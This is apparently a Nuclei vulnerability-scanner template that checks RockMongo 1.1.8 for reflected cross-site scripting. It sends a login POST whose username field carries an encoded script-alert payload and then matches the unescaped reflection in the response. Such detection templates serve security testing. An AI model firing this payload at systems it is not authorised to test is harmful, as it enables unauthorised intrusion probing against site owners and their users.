id: rockmongo-xss

info:
  name: RockMongo 1.1.8 - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: RockMongo 1.1.8 contains a cross-site scripting vulnerability which allows attackers to inject arbitrary JavaScript into the response returned by the application.
  reference:
    - https://packetstormsecurity.com/files/136658/RockMongo-1.1.8-Cross-Site-Request-Forgery-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: rockmongo,xss,packetstorm

http:
  - method: POST
    path:
      - "{{BaseURL}}/index.php?action=login.index"

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: "more=0&host=0&username=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&password=&db=&lang=en_us&expire=3"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        words:
          - 'Content-Type: text/html'
        part: header

# digest: 4a0a004730450221009f05d18e9abf68ec6340c815cfc4a1147962581fb0495fff535ecb0241f519e70220425d7197ee0f0221de2daadaa9858b5c49b760baa396af81bad8bc683f271b09:922c64590222798bb761d5b6d8e72950
